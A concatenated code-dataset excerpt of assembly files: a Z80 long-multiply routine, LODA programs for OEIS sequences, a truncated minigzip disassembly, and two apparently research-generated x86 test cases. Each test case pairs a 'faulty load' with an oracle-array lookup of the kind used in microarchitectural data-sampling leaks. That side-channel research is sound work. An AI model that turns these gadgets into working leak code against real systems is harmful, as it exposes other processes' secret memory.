; ; Small C+ Long Library Functions ; ; Multiply 32 bit numbers ; ; Entry: dehl=arg1 ; Staci: return address, arg2 ; ; Exit: dehl=result ; djm note I don't particularly like the use of ix as a pointer to the ; second argument, however it makes it quite a short routine, alternate ; method might be to use bc and bc' to hold arg2 and use a as a loop ; counter - please feel free to experiment! ; aralbrec advice taken! SECTION code_crt0_sccz80 PUBLIC l_long_mult ; dehl = arg1 ; stack = arg2, ret .l_long_mult pop af push hl exx pop de pop bc ld hl,0 exx pop bc ld hl,0 push af ; dede' = arg1 ; bcbc' = arg2 ; hlhl' = res ld a,32 .l_long_mult1 srl b ; arg2 >>= 1 rr c exx rr b rr c jr nc, l_long_mult2 add hl,de ; res += arg1 exx adc hl,de exx .l_long_mult2 sla e ; arg1 <<= 1 rl d exx rl e rl d dec a jp nz, l_long_mult1 push hl exx pop de ret
14.466667
71
0.552074
58bc150884557ba4e5657ef9d25fc07d97a36e47
743
asm
Assembly
oeis/025/A025584.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/025/A025584.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/025/A025584.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A025584: Primes p such that p-2 is not a prime. ; Submitted by Jon Maiga ; 2,3,11,17,23,29,37,41,47,53,59,67,71,79,83,89,97,101,107,113,127,131,137,149,157,163,167,173,179,191,197,211,223,227,233,239,251,257,263,269,277,281,293,307,311,317,331,337,347,353,359,367,373,379,383,389,397,401,409,419,431,439,443,449,457,461,467,479,487,491,499,503,509,521,541,547,557,563,569,577,587,593,599,607,613,617,631,641,647,653,659,673,677,683,691,701,709,719,727,733 mov $1,1 mov $2,$0 pow $2,2 add $2,1 lpb $2 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $4,$0 lpb $3 add $1,3 max $4,0 cmp $4,$0 mul $2,$4 trn $3,9 lpe add $1,1 lpe mov $0,$1 sub $0,3
28.576923
382
0.651413
92dba6dc810177142c3795e141ea5f3bf96b7947
443
asm
Assembly
programs/oeis/037/A037641.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/037/A037641.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/037/A037641.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A037641: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 2,3,1. ; 2,15,91,548,3291,19747,118484,710907,4265443,25592660,153555963,921335779,5528014676,33168088059,199008528355,1194051170132,7164307020795,42985842124771,257915052748628,1547490316491771 cal $0,33133 ; Base-6 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,0. mul $0,26 div $0,12 mov $1,$0
55.375
187
0.792325
5cae29dfd1354b08f93ee705b1345fe0a84bfee9
367
asm
Assembly
programs/oeis/097/A097789.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/097/A097789.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/097/A097789.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A097789: a(n)=4a(n-1)+C(n+4,4),n>0, a(0)=1. ; 1,9,51,239,1026,4230,17130,68850,275895,1104295,4418181,17674089,70698176,282795084,1131183396,4524737460,18098954685,72395824725,289583306215,1158333233715,4633332945486,18533331794594,74133327193326 lpb $0 mov $2,$0 sub $0,1 seq $2,97788 ; a(n)=4a(n-1)+C(n+3,3),n>0, a(0)=1. add $1,$2 lpe add $1,1 mov $0,$1
30.583333
202
0.697548
780c1049f3b61291aab8d8576105d23dd35091ac
6,077
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_874.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_874.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_874.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x13b52, %r9 nop nop nop xor $4361, %rdx movups (%r9), %xmm3 vpextrq $1, %xmm3, %r13 nop nop nop nop cmp $45238, %r13 lea addresses_A_ht+0x13762, %r14 nop nop sub %r10, %r10 vmovups (%r14), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rbp nop nop nop nop nop cmp $4679, %r10 lea addresses_A_ht+0x180a6, %r14 nop cmp $41766, %rax mov (%r14), %ebp nop nop add %rdx, %rdx lea addresses_normal_ht+0x130e2, %rsi lea addresses_normal_ht+0x149e2, %rdi nop cmp %rax, %rax mov $124, %rcx rep movsw nop nop nop nop add $60300, %rax lea addresses_A_ht+0x19bc6, %rdi nop add %r14, %r14 mov $0x6162636465666768, %rsi movq %rsi, %xmm1 movups %xmm1, (%rdi) nop nop nop nop nop and $47490, %r13 lea addresses_A_ht+0x19be2, %r10 sub %rsi, %rsi and $0xffffffffffffffc0, %r10 vmovaps (%r10), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rcx nop nop add $43339, %rdi lea addresses_UC_ht+0x1d0e2, %r10 nop nop nop nop xor $5641, %r13 movups (%r10), %xmm1 vpextrq $0, %xmm1, %rdi nop cmp %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rbp push %rcx push %rdi push %rdx // Store lea addresses_PSE+0x9da2, %rbp nop nop nop nop cmp $62735, %rdi mov $0x5152535455565758, %rdx movq %rdx, (%rbp) nop cmp $28984, %rbp // Faulty Load lea addresses_PSE+0x1e3e2, %r9 and %r12, %r12 mov (%r9), %cx lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}} {'src': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
38.955128
2,999
0.658549
7ee4839df7dabedb8992f24116ad759d4dadd288
6,263
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_12034_1327.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_12034_1327.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_12034_1327.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x105b1, %rsi lea addresses_A_ht+0x191b1, %rdi nop nop nop and %r15, %r15 mov $8, %rcx rep movsq nop nop nop nop sub $18206, %r12 lea addresses_A_ht+0x16cc4, %rsi lea addresses_A_ht+0xb6b1, %rdi nop nop sub %r11, %r11 mov $29, %rcx rep movsw add %r15, %r15 lea addresses_WC_ht+0x7f31, %rsi lea addresses_WC_ht+0xacb1, %rdi nop nop nop nop add %rbx, %rbx mov $14, %rcx rep movsl add $5267, %rcx lea addresses_UC_ht+0x1dc0, %rsi nop xor %rcx, %rcx mov $0x6162636465666768, %rbx movq %rbx, (%rsi) nop nop nop nop inc %rdi lea addresses_UC_ht+0x1d531, %rcx nop and $56043, %r12 movb (%rcx), %bl nop nop nop nop and %rbx, %rbx lea addresses_A_ht+0x4611, %rsi lea addresses_D_ht+0xa6b1, %rdi nop sub $9537, %r12 mov $109, %rcx rep movsl nop nop cmp $2037, %r15 lea addresses_D_ht+0x1bab1, %r12 nop and $46942, %r15 mov (%r12), %rbx nop nop nop and %rcx, %rcx lea addresses_A_ht+0x1182c, %rsi lea addresses_WC_ht+0x162b1, %rdi nop nop cmp $46712, %r9 mov $10, %rcx rep movsq add %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_WT+0x1c971, %rsi lea addresses_D+0x1439d, %rdi sub $53308, %rax mov $99, %rcx rep movsq nop nop nop nop nop and %rsi, %rsi // Faulty Load lea addresses_PSE+0xcab1, %rbp sub %r12, %r12 mov (%rbp), %r14d lea oracles, %rcx and $0xff, %r14 shlq $12, %r14 mov (%rcx,%r14,1), %r14 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}} {'33': 12034} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
40.406452
2,999
0.659269
7d11d4a48a7d89cee2940c7de53223cc5ec36b3c
851
asm
Assembly
programs/oeis/062/A062176.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/062/A062176.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/062/A062176.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A062176: a(n) = 5^(n-1) mod n. ; 0,1,1,1,0,5,1,5,7,5,1,5,1,5,10,13,1,11,1,5,4,5,1,5,0,5,16,13,1,5,1,13,25,5,30,29,1,5,25,5,1,17,1,37,25,5,1,29,43,25,25,21,1,11,20,5,25,5,1,5,1,5,25,13,40,23,1,57,25,55,1,29,1,5,25,49,16,5,1,45,16,5,1,17,30,5,25,69,1,65,64,33,25,5,55,77,1,33,70,25,1,65,1,21,25,5,1,65,1,75,25,13,1,47,50,9,79,5,2,5,78,5,25,1,0,101,1,77,25,5,1,5,64,5,70,61,1,89,1,5,25,5,25,29,45,5,88,125,1,125,1,149,16,125,5,125,1,5,25,45,100,65,1,125,130,5,1,101,14,165,61,125,1,167,50,45,25,5,1,65,1,5,25,109,70,149,60,125,151,115,1,77,1,5,25,153,1,47,1,125,25,5,23,113,10,5,16,125,81,185,1,125,25,5,195,173,1,5,25,185,157,17,1,173,25,5,1,101,1,195,67,173,1,83,155,125,25,139,1,125,1,49,97,125,65,173,220,5,25,125 mov $1,1 mov $2,$0 mov $3,1 add $3,$0 lpb $2 mul $1,5 mod $1,$3 sub $2,1 mov $4,1 lpe mov $0,$1 add $0,$4 mov $1,$0 sub $1,1
47.277778
683
0.60517
3452751c3ca6e7df06a32016cc5a5c5a81b8ed70
461,954
asm
Assembly
non_regression/minigzip_x86_linux_2.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
1
2021-02-28T21:31:18.000Z
2021-02-28T21:31:18.000Z
non_regression/minigzip_x86_linux_2.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
non_regression/minigzip_x86_linux_2.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
.text .local call_gmon_start .type call_gmon_start, @function call_gmon_start: pushl %ebp movl %esp, %ebp pushl %ebx call .L080488C5 .L080488C5: popl %ebx addl $68043, %ebx pushl %edx movl -4(%ebx), %eax testl %eax, %eax je .L080488D9 .L080488D7: call *%eax .L080488D9: popl %eax popl %ebx leave ret .size call_gmon_start, .-call_gmon_start # ---------------------- .globl error .type error, @function error: pushl %ebp movl %esp, %ebp subl $8, %esp pushl 8(%ebp) pushl prog pushl $.LC08054628 pushl stderr call fprintf .L0804895F: movl $1, (%esp) call exit .size error, .-error # ---------------------- .L0804896B: .p2align 2 # ---------------------- .globl gz_compress .type gz_compress, @function gz_compress: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $16412, %esp movl 8(%ebp), %esi leal -16408(%ebp), %edi jmp .L08048996 .L08048983: .p2align 2 .L08048984: pushl %ecx pushl %ebx pushl %edi pushl 12(%ebp) call gzwrite .L0804898F: addl $16, %esp cmpl %ebx, %eax jne .L080489EF .L08048996: pushl %esi pushl $16384 pushl $1 pushl %edi call fread .L080489A4: movl %eax, %ebx movl %esi, (%esp) call ferror .L080489AE: addl $16, %esp testl %eax, %eax jne .L080489DA .L080489B5: testl %ebx, %ebx jne .L08048984 .L080489B9: subl $12, %esp pushl %esi call fclose .L080489C2: popl %edx pushl 12(%ebp) call gzclose .L080489CB: addl $16, %esp testl %eax, %eax jne .L08048A1E .L080489D2: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L080489DA: subl $12, %esp pushl $.LC08054630 call perror .L080489E7: popl %ebx .L080489E8: pushl $1 call exit .L080489EF: subl $8, %esp leal -16412(%ebp), %eax pushl %eax pushl 12(%ebp) call gzerror .L08048A01: addl $16, %esp pushl %eax .L08048A05: pushl prog pushl $.LC08054628 pushl stderr call fprintf .L08048A1B: popl %eax jmp .L080489E8 .L08048A1E: pushl $.LC08054636 jmp .L08048A05 .size gz_compress, .-gz_compress # ---------------------- .L08048A25: .p2align 3 # ---------------------- .globl gz_uncompress .type gz_uncompress, @function gz_uncompress: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $16412, %esp movl 8(%ebp), %edi leal -16408(%ebp), %esi jmp .L08048A53 .L08048A3F: .p2align 3 .L08048A40: pushl 12(%ebp) pushl %eax pushl $1 pushl %esi call fwrite .L08048A4C: addl $16, %esp cmpl %ebx, %eax jne .L08048ACB .L08048A53: pushl %eax pushl $16384 pushl %esi pushl %edi call gzread .L08048A60: addl $16, %esp testl %eax, %eax movl %eax, %ebx jl .L08048A95 .L08048A69: jne .L08048A40 .L08048A6B: subl $12, %esp pushl 12(%ebp) call fclose .L08048A76: addl $16, %esp testl %eax, %eax jne .L08048AD9 .L08048A7D: subl $12, %esp pushl %edi call gzclose .L08048A86: addl $16, %esp testl %eax, %eax jne .L08048AD2 .L08048A8D: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08048A95: subl $8, %esp leal -16412(%ebp), %eax pushl %eax pushl %edi call gzerror .L08048AA5: addl $16, %esp pushl %eax .L08048AA9: pushl prog pushl $.LC08054628 pushl stderr call fprintf .L08048ABF: movl $1, (%esp) call exit .L08048ACB: pushl $.LC08054645 jmp .L08048AA9 .L08048AD2: pushl $.LC08054636 jmp .L08048AA9 .L08048AD9: pushl $.LC08054653 jmp .L08048AA9 .size gz_uncompress, .-gz_uncompress # ---------------------- .globl file_compress .type file_compress, @function file_compress: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $1036, %esp movl 8(%ebp), %ebx xorl %eax, %eax cld movl $-1, %ecx movl %ebx, %edi repnz scasb notl %ecx addl $2, %ecx cmpl $1023, %ecx ja .L08048B6B .L08048B08: subl $12, %esp pushl $.LC08054661 pushl %ebx pushl $.LC080546D6 pushl $1024 leal -1048(%ebp), %esi pushl %esi call snprintf .L08048B27: addl $24, %esp pushl $.LC08054665 pushl %ebx call fopen .L08048B35: addl $16, %esp testl %eax, %eax movl %eax, %edi je .L08048B8E .L08048B3E: subl $8, %esp pushl 12(%ebp) pushl %esi call gzopen .L08048B4A: addl $16, %esp testl %eax, %eax je .L08048B99 .L08048B51: subl $8, %esp pushl %eax pushl %edi call gz_compress .L08048B5B: movl %ebx, (%esp) call unlink .L08048B63: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08048B6B: pushl %eax pushl prog pushl $.LC08054668 .L08048B77: pushl stderr call fprintf .L08048B82: movl $1, (%esp) call exit .L08048B8E: subl $12, %esp pushl %ebx call perror .L08048B97: jmp .L08048B82 .L08048B99: pushl %esi pushl prog pushl $.LC0805467F jmp .L08048B77 .size file_compress, .-file_compress # ---------------------- .L08048BA7: .p2align 3 # ---------------------- .globl file_uncompress .type file_uncompress, @function file_uncompress: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $1052, %esp movl 8(%ebp), %esi xorl %eax, %eax movl %esi, %edi cld movl $-1, %ecx repnz scasb notl %ecx leal -1(%ecx), %edi addl $2, %ecx cmpl $1023, %ecx ja .L08048CAB .L08048BD7: pushl %esi pushl $.LC080546D8 pushl $1024 leal -1048(%ebp), %edx pushl %edx call snprintf .L08048BEE: addl $16, %esp cmpl $3, %edi jbe .L08048C02 .L08048BF6: leal (%esi,%edi), %ebx cmpb $46, -3(%ebx) leal -3(%ebx), %edx je .L08048C7C .L08048C02: pushl $.LC08054661 movl $1024, %edx pushl $.LC080546D8 subl %edi, %edx leal -1048(%ebp), %ebx pushl %edx leal (%ebx,%edi), %eax pushl %eax movl %esi, -1052(%ebp) call snprintf .L08048C29: addl $16, %esp .L08048C2C: subl $8, %esp pushl $.LC08054665 pushl %ebx call gzopen .L08048C3A: addl $16, 